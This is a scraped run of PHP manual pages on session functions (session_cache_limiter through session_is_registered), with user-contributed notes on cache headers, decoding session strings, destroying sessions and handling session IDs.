The "no-store" option means that all the content will not be cached anyway, including images, CSS or JS files. I don't know if this applyes to flash files too, but is possible. This option must be used with very sensitive data. I think the SSL uses this by default.
misterp3d at hotmail dot com 18-May-2004 11:16
I had a problem using a FORM with POST method when user of my website was using the back button. The page requested a refresh to be able to see again the FORM.

To solve the problem I used :
<?php
session_cache_limiter('private, must-revalidate');
?>

*You need to write this line before any output

Hope that will help some of you ;)

[P]
usenet at phord splat com 26-Mar-2004 05:44
Hey!  NickyBoy was right!

I looked all over google and his note was the only place that had it right.  But, there's a caveat.

I wrote up my results here:
http://www.phord.com/experiment/cache/
richard at izyn dot co dot nz 02-Mar-2004 03:17
I found that session_cache_limiter("none") works for me when I create PDFs  on the fly because session_cache_limiter("private") causes the browser(IE6) to cache the PDF indefinitely.
22-Jan-2004 06:10
I had a similair problem (browsers couldn't save files coming from my download-script). Only in my case the problem occured with IE 6.0 and Netscape 7.1. Adding the "session_cache_limiter('public');" before "session_start();" helped.
jthome at fcgov dot com 04-Dec-2003 01:36
In addition to the note above regarding SSL/IE bug/Sessions, also make sure you DO NOT SET THE HEADER 'Pragma: no-cache' if you are sending an inline document (e.g., PDF document).

For example:

<?php

        header("Content-Type: application/pdf");
        header("Content-Disposition: inline; filename=foo.pdf");
        header("Accept-Ranges: bytes");
        header("Content-Length: $len");
        header("Expires: 0");
        header("Cache-Control: private");
//        header("Pragma: no-cache");//don't send this header!!

?>

Best,

--
Jim
plyrvt at mail dot ru (Yura Pylypenko) 31-Jul-2003 11:33
Be careful using session_cache_limiter() with ob_start('ob_gzhandler')
If ob_start('ob_gzhandler') is called after session_cache_limiter() it seems to overwrite cache control headers with 'nocache' equivalent.
So always put ob_start first.
MerlinsInvite 23-May-2003 06:51
I solved the problem with pushing downloads to browser's, without needing to play with server/session parameters by using :
header("Content-Disposition: inline; filename=\"$filename\"");
for IE browsers and
header("Content-Disposition: attachment; filename=\"$filename\"");
for all other browsers.
nickyboy at 4ce.co.uk 11-Mar-2003 02:42
The problems people mention about IE are actually a feature!
Microsoft Knowledge Base Article 316431 says:

In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails.

When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.

They say this applies to:
Microsoft Internet Explorer 5.5 for Windows 2000
Microsoft Internet Explorer 5.01 for Windows 2000
Microsoft Internet Explorer version 6 for Windows 2000
not sure about other versions!

hth
nickyboy


Alias of session_write_close

  • « session_cache_limiter
  • session_decode »
  • PHP Manual
  • Session Functions
  • Alias of session_write_close

session_commit

(PHP 4 >= 4.4.0, PHP 5)

session_commit — Alias of session_write_close()

Description

This function is an alias of: session_write_close().

User Contributed Notes

There are no user contributed notes for this page.


Decodes session data from a session encoded string

  • « session_commit
  • session_destroy »
  • PHP Manual
  • Session Functions
  • Decodes session data from a session encoded string

session_decode

(PHP 4, PHP 5)

session_decode — Decodes session data from a session encoded string

Description

bool session_decode ( string $data )

session_decode() decodes the serialized session data provided in $data, and populates the $_SESSION superglobal with the result.

Please note the unserialization method is not the same as unserialize(). The serialization method is internal to PHP and can be set using session.serialize_handler.

Parameters

data

The encoded data to be stored.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • session_encode() - Encodes the current session data as a session encoded string
  • session.serialize_handler

User Contributed Notes

frank at interactinet dot com 25-Oct-2013 12:58
I found this to be the simplest solution:

<?php
// if session is not started
session_start();

// store our current session
$my_sess = $_SESSION;

// decode $data (the encoded session data, either from a file or database). Remember, decoded data is put directly into $_SESSION
session_decode($data);
$data = $_SESSION;

print_r($data);

// restore our own session
$_SESSION = $my_sess;

?>
Frits dot vanCampen at moxio dot com 24-Mar-2012 02:24
I noticed that the posted solutions for manually decoding sessions are not perfect, so I've contributed a more robust solution.

The preg_match solution can never work. It's not so hard to find a case that might break unserialization.
In the case of jason-joeymail is breaks on:

<?php
$_SESSION["test"] = ";oops|";
?>

Below you can find my solution. It doesn't use a regular expression but rather the reversibility of the serialize operation and the 'feature' that serialize ignores all further input when it thinks it's done. It's by no means a beautiful or particularly fast solution but it is a more robust solution.
I've added a deserializer for "php" and "php_binary". It should be trivial to add one for "wddx".

<?php
class Session {
    public static function unserialize($session_data) {
        $method = ini_get("session.serialize_handler");
        switch ($method) {
            case "php":
                return self::unserialize_php($session_data);
                break;
            case "php_binary":
                return self::unserialize_phpbinary($session_data);
                break;
            default:
                throw new Exception("Unsupported session.serialize_handler: " . $method . ". Supported: php, php_binary");
        }
    }

    private static function unserialize_php($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            if (!strstr(substr($session_data, $offset), "|")) {
                throw new Exception("invalid data, remaining: " . substr($session_data, $offset));
            }
            $pos = strpos($session_data, "|", $offset);
            $num = $pos - $offset;
            $varname = substr($session_data, $offset, $num);
            $offset += $num + 1;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }

    private static function unserialize_phpbinary($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            $num = ord($session_data[$offset]);
            $offset += 1;
            $varname = substr($session_data, $offset, $num);
            $offset += $num;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }
}
?>

Usage:

<?php
Session::unserialize(session_encode());
?>
jason at joeymail dot net 05-Jan-2011 01:23
Yet another attempt a wheel re-invention, using match with offsets rather than split...

<?php
function unserializesession( $data )
{
    if(  strlen( $data) == 0)
    {
        return array();
    }

    // match all the session keys and offsets
    preg_match_all('/(^|;|\})([a-zA-Z0-9_]+)\|/i', $data, $matchesarray, PREG_OFFSET_CAPTURE);

    $returnArray = array();

    $lastOffset = null;
    $currentKey = '';
    foreach ( $matchesarray[2] as $value )
    {
        $offset = $value[1];
        if(!is_null( $lastOffset))
        {
            $valueText = substr($data, $lastOffset, $offset - $lastOffset );
            $returnArray[$currentKey] = unserialize($valueText);
        }
        $currentKey = $value[0];

        $lastOffset = $offset + strlen( $currentKey )+1;
    }

    $valueText = substr($data, $lastOffset );
    $returnArray[$currentKey] = unserialize($valueText);

    return $returnArray;
}
?>
davyvandenbremt at gmail dot com 16-Dec-2010 10:18
Here's what we are using to unserialize the session.

<?php
function unserialize_session($val) {
  $result = array();

  // prefixing with semicolon to make it easier to write the regular expression
  $val = ';' . $val;

  // regularexpression to find the keys
  $keyreg = '/;([^|{}"]+)\|/';

  // find all keys
  $matches = array();
  preg_match_all($keyreg, $val, $matches);

  // only go further if we found some keys
  if (isset($matches[1])) {
    $keys = $matches[1];

    // find the values by splitting the input on the key regular expression
    $values = preg_split($keyreg, $val);

    // unshift the first value since it's always empty (due to our semicolon prefix)
    if (count($values) > 1) {
      array_shift($values);
    }

    // combine the $keys and $values
    $result = array_combine($keys, $values);
  }

  return $result;
}
?>
deminy at deminy dot net 16-Nov-2007 10:24
1. Reply to ac's post:

As I mentioned at http://us.php.net/manual/en/function.unserialize.php#76977 , the regular expression used to unserialize a PHP session data won't work if the session data contains string variable which contains character '|'.

Here is a simple example I just come up with to show when the function unserializesession() won't work.

<?php
function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}

session_start();

$_SESSION['var'] = 'a|b';
$str = session_encode();
$arr = unserializesession($str);

print_r($_SESSION);
echo "<br />\n";
print_r($arr);
?>

2. Reply to bmorel's post:

Your function session_real_decode() is very nice to decode session data without involving with session functions. It works in most cases, but when dealing with reference variables, there is another case which should also be handled:

    <?php case 'r': /* reference  */ // R in lowercase ?>

I found this bug on PHP 5.1.6 several months ago, but don't know if it exsits in other version of PHP or not. Also, I am not sure if similiar bugs exist when handling other data types.

So here is my suggestion to revise the function,
2.1.
    change the switch statement from
    <?php switch ($str[$q]) { ?>
    to
    <?php switch (strtolower($str[$q])) { ?>
2.2.
    In all case statements, use lowercase characters only for character comparison. For example,
    <?php case 'R': /* reference  */ ?>
    should be be written as
    <?php case 'r': /* reference  */ ?>

(I don't want to put long code here, so just leave pieces of code to save spaces)
ac 21-Oct-2007 04:46
this solved my | problem:

function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}
leon dot pegg at gmail dot com 23-Aug-2006 05:14
i have found this to be a better way to restore session data while keeping your current session.

function decode_session($session_string){
    $current_session = session_encode();
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($session_string);
    $restored_session = $_SESSION;
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($current_session);
    return $restored_session;
}

enjoy
xueron at gmail dot com 15-Jul-2006 06:30
a perl reg:

$s = session_encoded_value;
%res = $s =~ /([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|([^\|]*[\;\}])/g;
nero321 at zmail dot sk 27-Jan-2006 02:01
Another solution for decoding session string to "$_SESSION"-like array:

<?php

// returns decoded string as arrays of variables
//   or false on error (when session_decode returns false)
function DecodeSession($sess_string)
{
    // save current session data
    //   and flush $_SESSION array
    $old = $_SESSION;
    $_SESSION = array();

    // try to decode passed string
    $ret = session_decode($sess_string);
    if (!$ret) {
        // if passed string is not session data,
        //   retrieve saved (old) session data
        //   and return false
        $_SESSION = array();
        $_SESSION = $old;

        return false;
    }

    // save decoded session data to sess_array
    //   and flush $_SESSION array
    $sess_array = $_SESSION;
    $_SESSION = array();

    // restore old session data
    $_SESSION = $old;

    // return decoded session data
    return $sess_array;
}

?>

Example of use:

<?php

$sarr = DecodeSession($sess_str);
print_r($sarr);

?>

But I have not tested performance.
erwinmoller at xs4all dot nl 18-Oct-2005 04:25
The regExp-method describe earlier doesn't work under all conditions.

If I feed this:
voornaam|s:8:"Ai|;\'\"";achternaam|s:6:"werrwe";leeftijd|i:44;

I get this:
array(4) {
  ["voornaam"]=>
  bool(false)
  ["Ai"]=>
  bool(false)
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

while I expected:
array(3) {
  ["voornaam"]=>
  string(8) "Ai|;\'\""
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

I think the | is messing things up. :-/
brett at brettbrewer dot com 29-Jul-2005 08:25
I have made a minor change to fabrizio's (et all) version of the unserializesession function because it was choking on underscores in my variable names.  Here is the correct version which should account for ALL possible PHP variable names:

function unserializesession($data) {
   $vars=preg_split(
             '/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|/',
             $data,-1,PREG_SPLIT_NO_EMPTY |
              PREG_SPLIT_DELIM_CAPTURE
             );
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

Please note that I had to split the preg_split function call above into 4 lines due to the limitations of this forum. This version changes the regex used to find variable names so that it complies with the specs for  variable names as specified in the PHP manual at http://us3.php.net/manual/en/language.variables.php. I just took the regex directly from the PHP manual pages where they give the regex equivalent for a valid variable name as:

[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Anyway, this seems to work great for me now, even on gigantic strings of encoded session data.
vesely at tana dot it 26-May-2005 12:25
When using this function to manage sessions, it is MUCH
better to have register_globals turned off. Then one can
examine the session content given its id.

<?php
   $fname = session_save_path() . "/sess_" . $the_sid;
   if (session_decode(file_get_contents($fname)))
   {
      $vars = $_SESSION;
      $_SESSION = array();

      // examine $vars...
   }
?>

Depending on PHP version, you may need to have a dummy
session started for the code above to work. I reset the
$_SESSION immediately in order to avoid writing the
dummy session: that's needed while testing the code!
fabrizio dot messina at gmail dot com 16-May-2005 03:40
this function _really_ split and decode session data:

function unserializesession($data) {
   $vars=preg_split('/([a-zA-Z0-9]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

the difference from previously posted 'unserializesession' function is the regular expression inside function preg_split ('[a-zA-Z0-9]+' vs  '[a-z,A-Z]+' )
sco at postmaster dot co dot uk 04-Jun-2004 04:52
If you're trying to access your session data from outside the regular php session functions, you might want to use WDDX as your serializer, as opposed to the normal php serializer. When your data is serialized as XML, obviously it's easy to unserialize as you please.

WDDX seems to be a little slower, and the text string it creates is much bigger than that created by the normal php serializer, but it provides the functionality with minimal hassle.

Donal
forum at orthanc dot co dot nz 02-Apr-2004 09:26
Becarful using this if you are trying to switch out of an existing session rather than load one into a clean slate.

session_decode doesn't destroy the existing session data, it will over write it if there is a session variable of the same name, but if the names don't clash the existing session variables will hang around.

I have yet to find a better solution than

session_destroy()
session_start()
session_decode(....);

-----------------------------------------
To explain what I'm talking about

<?
    session_start();
    $a = 5;
    session_register('a');
    session_decode("<session that doesn't have a as a session variable>");
    print (session_is_registered('a') ? $a : 'Not Registered' );
?>

The above code will print '5' as $a hasn't been destroyed or even unregistered by the session_decode
njail 12-Dec-2003 09:28
<?PHP
// Get Session Content
$varsess = Array('SESSION');
for ($i = 0; $i < sizeof($varsess); $i++)
{
  if (is_array(${"_{$varsess[$i]}"}))
  {
    foreach (${"_{$varsess[$i]}"} as $var=>$val)
    {
    $$var = $val;
    // print "Var :".$var." -- Value :".$val."\n<br>";
    }
  }
  unset(${"_{$varsess[$i]}"});
}
?>
petej*shaman_ca 21-Aug-2003 10:44
Seems like there was a change in the behavior of this function somewhere between 4.1.2 and 4.3.3.  In 4.1.2 session_decode() didn't care whether the session was started, and would just decode the string into the _SESSION array.  In my 4.3.3 install, session_decode() wouldn't work unless I explicitly started the session with session_start().


Destroys all data registered to a session

  • « session_decode
  • session_encode »
  • PHP Manual
  • Session Functions
  • Destroys all data registered to a session

session_destroy

(PHP 4, PHP 5)

session_destroy — Destroys all data registered to a session

Description

bool session_destroy ( void )

session_destroy() destroys all of the data associated with the current session. It does not unset any of the global variables associated with the session, or unset the session cookie. To use the session variables again, session_start() has to be called.

In order to kill the session altogether, like to log the user out, the session id must also be unset. If a cookie is used to propagate the session id (default behavior), then the session cookie must be deleted. setcookie() may be used for that.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Destroying a session with $_SESSION

<?php
// Initialize the session.
// If you are using session_name("something"), don't forget it now!
session_start();

// Unset all of the session variables.
$_SESSION = array();

// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// Finally, destroy the session.
session_destroy();
?>

Notes

Note:

Only use session_unset() for older deprecated code that does not use $_SESSION.

See Also

  • unset() - Unset a given variable
  • setcookie() - Send a cookie

User Contributed Notes

Jack Luo 27-Mar-2014 07:08
It took me a while to figure out how to destroy a particular session in php. Note I'm not sure if solution provided below is perfect but it seems work for me. Please feel free to post any easier way to destroy a particular session. Because it's quite useful for functionality of force an user offline.

1. If you're using db or memcached to manage session, you can always delete that session entry directly from db or memcached.

2. Using generic php session methods to delete a particular session(by session id).

<?php
$session_id_to_destroy = 'nill2if998vhplq9f3pj08vjb1';
// 1. commit session if it's started.
if (session_id()) {
    session_commit();
}

// 2. store current session id
session_start();
$current_session_id = session_id();
session_commit();

// 3. hijack then destroy session specified.
session_id($session_id_to_destroy);
session_start();
session_destroy();
session_commit();

// 4. restore current session id. If don't restore it, your current session will refer to the session you just destroyed!
session_id($current_session_id);
session_start();
session_commit();

?>
luqui at yahoo dot com 27-Sep-2013 09:25
If you want to destroy the session when it starts, don't forget to declare the session with your code because when you do that this will ensure that your session will be more effective. This also enhances the effieciency of you code.
Praveen V 14-Sep-2012 01:39
If you want to change the session id on each log in, make sure to use session_regenerate_id(true) during the log in process.

<?php
session_start();
session_regenerate_id(true);
?>

[Edited by moderator (googleguy at php dot net)]
administrator at anorhack dot com 01-Aug-2007 04:34
Destroying  a session from a background job

I have a thief-protection system that compares country codes from login IPs via whois. This has to run in the background as it is way too processor-hungry to be run in the browser.

What I needed was a way to destroy the web session from the background job. For some reason, a background session_destroy APPEARS to work, but doesnt't actually destroy the web session.

There is a work around, I set the username to NULL and the web code picks up on that, bouncing the user (thief) to a "gotcha" page where his IP is logged.

Yes I know its nasty and dirty, but surprisingly it works.

$sid = the session_id() of the suspicious web session, passed in $argv to the background job

The trick is to "stuff" the $_GET array with the sid, then the session_start in the background job picks this value up (as if it were a genuine trans-sid type thing...?PHPSESSID=blah) and "connects to" the web session. All $_SESSION variable can be viewed (and CHANGED , which is how this kludge works) but for some reason (that no doubt someone will illuminate) they can't be unset...setting the particular variable to NULL works well though:

$_GET[session_name()]=$sid;
session_start();
// prove we are getting the web session data
foreach($_SESSION as $k => $v) echo($k."=".$v);
// now kill the thief
$_SESSION['username']=NULL;
//web session variable now NULL - honestly!
Colin 07-Feb-2007 10:52
Note that when you are using a custom session handler, session_destroy will cause a fatal error if you have set the session destroy function used by session_set_save_handler to private.

Example:
Fatal error: Call to private method Session::sessDestroy()

where sessDestroy was the function I specified in the 5th parameter of session_set_save_handler.

Even though it isn't all that desirable, the simple solution is to set sessDestroy to public.


Encodes the current session data as a session encoded string

  • « session_destroy
  • session_get_cookie_params »
  • PHP Manual
  • Session Functions
  • Encodes the current session data as a session encoded string

session_encode

(PHP 4, PHP 5)

session_encode — Encodes the current session data as a session encoded string

Description

string session_encode ( void )

session_encode() returns a serialized string of the contents of the current session data stored in the $_SESSION superglobal.

Please note, the serialization method is not the same as serialize(). The serialization method is internal to PHP and can be set using session.serialize_handler.

Return Values

Returns the contents of the current session encoded.

Notes

Warning

Must call session_start() before using session_decode().

See Also

  • session_decode() - Decodes session data from a session encoded string
  • session.serialize_handler

User Contributed Notes

<carlos sica>sica at wnet dot com dot br 05-May-2005 06:19
session_encode() just return the session dataset in a formatted form

session_start();

$_SESSION['login_ok'] = true;
$_SESSION['nome'] = 'sica';
$_SESSION['inteiro'] = 34;

echo session_encode();

this code will print

login_ok|b:1;nome|s:4:"sica";inteiro|i:34;


Get the session cookie parameters

  • « session_encode
  • session_id »
  • PHP Manual
  • Session Functions
  • Get the session cookie parameters

session_get_cookie_params

(PHP 4, PHP 5)

session_get_cookie_params — Get the session cookie parameters

Description

array session_get_cookie_params ( void )

Gets the session cookie parameters.

Return Values

Returns an array with the current session cookie information, the array contains the following items:

  • "lifetime" - The lifetime of the cookie in seconds.
  • "path" - The path where information is stored.
  • "domain" - The domain of the cookie.
  • "secure" - The cookie should only be sent over secure connections.
  • "httponly" - The cookie can only be accessed through the HTTP protocol.

Changelog

Version | Description
5.2.0 | The "httponly" entry was added in the returned array.

See Also

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session_set_cookie_params() - Set the session cookie parameters

User Contributed Notes

Anonymous 13-Jan-2008 11:38
Try also
* INI_Get('session.cookie_lifetime')
* INI_Get('session.cookie_path')
* INI_Get('session.cookie_domain')
* INI_Get('session.cookie_secure')
* INI_Get('session.cookie_httponly')
separately instead of session_Get_Cookie_Params().

Additionally there is a "bug" - session.cookie_lifetime is mentioned twice in the description.
powerlord at spamless dot vgmusic dot com 19-Nov-2002 08:35
This function is quite handy when it comes to expiring session cookies... since Session cookies don't automatically get destroyed (see the session_destroy page).

For instance, here's what I plan to use to expire session cookies:

    $CookieInfo = session_get_cookie_params();
    if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
    } elseif (empty($CookieInfo['secure'])) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
    } else {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
    }
    session_destroy();

It doesn't check to see if the path part of the session cookie is set because the defaults in php.ini have this set already, unlike domain and secure.


Get and/or set the current session id

  • « session_get_cookie_params
  • session_is_registered »
  • PHP Manual
  • Session Functions
  • Get and/or set the current session id

session_id

(PHP 4, PHP 5)

session_id — Get and/or set the current session id

Description

string session_id ([ string $id ] )

session_id() is used to get or set the session id for the current session.

The constant SID can also be used to retrieve the current name and session id as a string suitable for adding to URLs. See also Session handling.

Parameters

id

If id is specified, it will replace the current session id. session_id() needs to be called before session_start() for that purpose. Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

Note: When using session cookies, specifying an id for session_id() will always send a new cookie when session_start() is called, regardless if the current session id is identical to the one being set.

Return Values

session_id() returns the session id for the current session or the empty string ("") if there is no current session (no current session id exists).

See Also

  • session_regenerate_id() - Update the current session id with a newly generated one
  • session_start() - Start new or resume existing session
  • session_set_save_handler() - Sets user-level session storage functions
  • session.save_handler

User Contributed Notes

infinito84 at gmail dot com 06-Mar-2014 02:50
Get a shared session.

Sometimes is good can interchange messages and vars between one session and another, but PHP dont support this. I create this script that allows with session_id() change from current session to shared session (this is, info with scope to all sessions) for read and write info and back in to user session. The code:

<?php
    ini_set('display_errors',1);
    error_reporting(E_ALL);

    function get_global($key){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Get superglobal value
        $value=null;
        if(isset($_SESSION[$key]))$value=$_SESSION[$key];
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
        return $value;
    }

    function set_global($key,$value){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Set superglobal value
        $_SESSION[$key]=$value;
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
    }
    //Example
    //Begin my session normally
    session_start();
    if(empty($_SESSION['count'])){
        $_SESSION['count']=0;
        $_SESSION['color']="rgb(".rand(0,255).",".rand(0,255).",".rand(0,255).")";
    }
    $_SESSION['count']++;
    $id=session_id();
    //Get the superglobal
    $test=get_global("test");
    //Set the superglobal test with empty array if this dont set
    if($test==null)$test=array();
    //Get the superglobal
    $test=get_global("test");
    //Set values for each reload page and save the session_id that create it
    $test[]="<span style='color:".$_SESSION['color']."'>Value: ".rand(0,100)." SessionID: $id</span><br>";
    //Save the superglobal
    set_global("test",$test);
    //Show the superglobal
    foreach($test as $t){
        echo $t;
    }
    echo "<b>Reloads = ".$_SESSION['count'].", <span style='color:".$_SESSION['color']."'>This my color</span></b>";

    exit;
?>
Dario Gomes 07-Jun-2011 04:06
Gosh, took a LOOONG time to figure this one out! If you have suhosin built into your PHP and can't get sessions to work after changing the session id through session_id(), try turning off suhosin's session encryption option in php.ini with:

suhosin.session.encrypt=Off
Francois 16-Mar-2011 07:45
In php version 5.3.2 in my case each time a new session-id was generated after session_start() but all was working before correctly in previous versions. So I lost data from my current session (wrong session-id). There was always a $_POST or $_GET or $_COOKIE available with the session-name and session-id, so session_start() was taken this automatically. Now I have to execute session_id(..old id ..) before session_start() and a session is started for the same id.
dmeweb at dibsplace dot com 06-Mar-2011 06:19
If you look at the notes on cookies (set_cookie I think), you will see that you can not read a cookie on the page that it is set.  That is because the cookies are sent with the page request which comes, of course, before your PHP is run.  You have to wait until the next page request from the same source to read the cookie.
ab at ixo point ca 07-Jan-2011 08:17
I was perplexed by inconsistent results with the session ID depending on whether I retrieve it using SID, COOKIE, or session_id().  I have found that session_id() is the most reliable method, whereas SID and COOKIE["PHPSESSIONID"] are sometimes undefined.

I used this simple script to quickly test the problem on my servers:

<?php
$a = session_id();
if(empty($a)) session_start();
echo "SID: ".SID."<br>session_id(): ".session_id()."<br>COOKIE: ".$_COOKIE["PHPSESSID"];
?>

Regardless of browser I see the COOKIE undefined on the first load and the other two defined, then SID is empty on subsequent reloads and COOKIE is defined, but session_id() is always defined.

If I insert the session_regenerate_id() method that jeff_zamrzla gives below the refresh the page, I get a new session_id() but the COOKIE value is initially the prior session_id() until I hit refresh a second time.  So again, session_id() proves to be the most reliable method.

It's probably not a bug since I found the behaviour to be consistent in PHP versions 5.2.14, 5.3.3 and 5.3.4, but I can't figure what I'm missing and hopefully this will help others who run into this.
Drugelis, Lietuva 11-Sep-2010 04:46
I had a lot of trouble with session_regenerate_id() as it did not regenerate... Session_id() stayed the same no matter what (unless closing the window). I wanted to have different sid and empty vars for each session/page meeting a condition for security reasons.  Finally, this worked:

<?php
$a = session_id();
if ($a == '') session_start();
if ( ...add check if you want to regenerate and destroy vars on some condition only [recommended :)]...  )
 { session_unset(); //destroys variables
   session_destroy() //destroys session;
 }

$a = session_id();
if ($a == '') session_start();
if (!isset($_SESSION['safety']))
{
    session_regenerate_id(true);
    $_SESSION['safety'] = true;
}
$_SESSION['sessionid'] = session_id();
?>

Now you get different sid and session variables empty for each session_start if condition is met (i.e. user hits refresh on user/password form, which I needed badly :). Hope this helps someone out there.
Env: localhost
Note: condition is mandatory, otherwise it destroys on each load.
Axel 13-May-2008 10:44
The documentation for session_id is incomplete when it says:
"For example, the file session handler only allows characters in the range a-z, A-Z and 0-9!".

It is untrue when changing the default for the session.hash_bits_per_character as Colin said. session_id may therefore contain "-" and ",".

http://fr.php.net/manual/en/session.configuration.php
dnaicker at gmail dot com 22-Oct-2007 10:33
I was using session_id but i needed to send more than one variable across to another php page. I was trying to create a link to an xml file and i needed to send the name of the file to another php document to open the file using DOM or SimpleXML.

I sent the variable across in the hyperlink and gathered the variable using the $_POST['$VarName'] command.

This is the code i used:
Page1:

echo"\t\t<td><a href=\"showArticle.php?file=".$title."\" name=\"$title\">View Article</a></td>\n";

Page2:
$file = $_GET["file"];
25-Mar-2007 08:06
Regarding Colin's comment, note that setting hash_bits_per_character to 5 results in characters ranging from 0-9 and a-v. Most attackers would be wise enough to realize what was going on when they saw a letter in g-v.  The probability of not seeing a letter in g-v is somewhere around 2^-32.
Colin 08-Mar-2007 07:46
The higher you set session.hash_bits_per_character the shorter your session_id will become by using more bits per character. The possible values are 4, 5, or 6.

When using sha-1 for hashing (by setting ini_set('session.hash_function', 1) the following session string lengths are produced by the three session.hash_bits_per_character settings:

4 - 40 character string
5 - 32 character string
6 - 27 character string

It would seem desirable to use sha-l with 5 bits_per_character because this will emulate a standard 32 character md5 string and make a would-be attacker think that is what you're hashing with.
22-Aug-2006 10:15
In response to simon at quo dot com dot au:

The PHPSESSID is produced using an hash function. By default, it uses MD5 which produces 128 bits long (i.e: 16 bytes long) hashes.
But, since some bytes' values may not be used in the HTTP header, PHP outputs the hash in its hexadecimal representation, thus resulting in a 32 bytes long text.

Starting with  PHP 5.0, you can change the hash function used (by setting "session.hash_function" to whatever function you want to use in php.ini).
You may for example set it to 1 to switch to SHA-1 which produces 160 bits (20 bytes) long hashes.

Please also note that another setting was introduced in PHP 5 (session.hash_bits_per_character) which sort of "compresses" the hash. Thus, resulting in what seems to be a shorter hash.
This feature helps you improve your application's security by producing IDs that are harder to prodict for a malicious attacker.

More information on those settings is provided on:
http://www.php.net/manual/en/ref.session.php
simon at quo dot com dot au 06-Mar-2006 07:15
Length of PHPSESSID appears to be 32 characters by default.
jpjounier at hotmail dot com 23-Jun-2005 01:28
About the note from Cybertinus :

The following test doesn't work, the code following is always executed :

<?php
if(!session_id())
{
// Always executed even if there's already an opened session
}

session_id() returns an empty string if there is no current session, so to test if a session already exists, it's better to write this :
if(session_id() == "")
{
session_start();
}
else
{
// Anything you want
}
?>
cbarnes at bfinity dot net 10-May-2005 03:44
Note that Firefox and Mozilla use the same process for launching new windows or tabs, they will pick up the same session id as the previous windows until the parent process dies or is closed. This may cause undesired results if the session id is stored in a db and checked, a solution is to check at the new entry point (new tab or window if the user went back to the index page) for an existing session. If a session id exists and a new one is required use something like:

<?php
$ses_id = session_id();
$bsid_exists = false;
$bsid_exists = check_session_id_from_db($ses_id);
 if ($bsid_exists){
 //This is a reentry and the session already exists
 // create a new session ID and start a new
session_regenerate_id();
$ses_id = session_id();
 }
?>
jeff_zamrzla 11-Feb-2005 12:03
Try this code snippet, from a book by a security expert who says this is more secure to place on every page:

<?php
session_start();
$_SESSION['name'] = "YourSession";

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}
?>
karlhaines at comcast dot net 31-Oct-2003 02:05
Rewriting URL's is not suggested for obvious security issues. Please be careful with register_globals when using sessions! Check that all information you recieve from a user is valid before accepting it!
Andi, info at pragmaMx dot org 16-Jan-2003 10:13
you can also add the iframe tag:
ini_set("url_rewriter.tags", "a=href,area=href,frame=src,iframe=src,input=src,form=fakeentry");


Find out whether a global variable is registered in a session

  • « session_id
  • session_module_name »
  • PHP Manual
  • Session Functions
  • Find out whether a global variable is registered in a session

session_is_registered

(PHP 4, PHP 5 < 5.4.0)

session_is_registered — Find out whether a global variable is registered in a session

Description

bool session_is_registered ( string $name )

Finds out whether a global variable is registered in a session.

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Parameters

name

The variable name.

